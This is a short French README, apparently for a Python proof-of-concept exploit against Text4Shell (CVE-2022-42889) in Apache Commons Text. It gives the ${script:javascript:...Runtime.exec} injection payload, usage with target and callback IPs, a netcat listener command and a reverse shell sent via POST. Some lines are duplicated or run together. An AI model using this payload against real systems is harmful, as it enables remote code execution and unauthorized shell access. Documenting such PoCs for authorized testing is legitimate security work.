
Un exploit personnalisé basé sur Python de type proof-of-concept (PoC) ciblant Text4Shell (CVE-2022-42889), une vulnérabilité critique d'exécution de code à distance dans Apache Commons Text versions < 1.10.
Un proof-of-concept (PoC) personnalisé basé sur Python ciblant Text4Shell (CVE-2022-42889), une vulnérabilité critique d'exécution de code à distance dans Apache Commons Text versions < 1.10.
Ce PoC cible les applications Java vulnérables qui utilisent la classe StringSubstitutor avec l'interpolation activée, permettant d'injecter des expressions ${script:...} pour exécuter des commandes système arbitraires.
Dans ce PoC, l'exploitation est démontrée via le paramètre de requête data ; cependant, le nom du paramètre vulnérable peut varier selon l'implémentation. Les utilisateurs doivent adapter la charge utile et le chemin de la requête en fonction de la logique de l'application cible.
Avertissement : Ce PoC est fourni à des fins éducatives et de tests d'intrusion autorisés uniquement. Utilisez-le de manière responsable et sous votre propre responsabilité.
Il s'agit d'un PoC personnalisé en Python3 pour la vulnérabilité Apache Commons Text connue sous le nom de Text4Shell (CVE-2022-42889). Il permet l'exécution de code à distance (RCE) via des interpolateurs non sécurisés lorsque l'entrée utilisateur est évaluée dynamiquement par StringSubstitutor.
Testé avec :
${script:...} à partir d'entrées non fiablespython3 text4shell.py <target_ip> <callback_ip> <callback_port>
python3 text4shell.py 127.0.0.1 192.168.1.2 4444
nc -nlvp 4444
Le script injecte :
${script:javascript:java.lang.Runtime.getRuntime().exec(...)}
Le reverse shell est envoyé via le paramètre /data à l'aide d'une requête POST.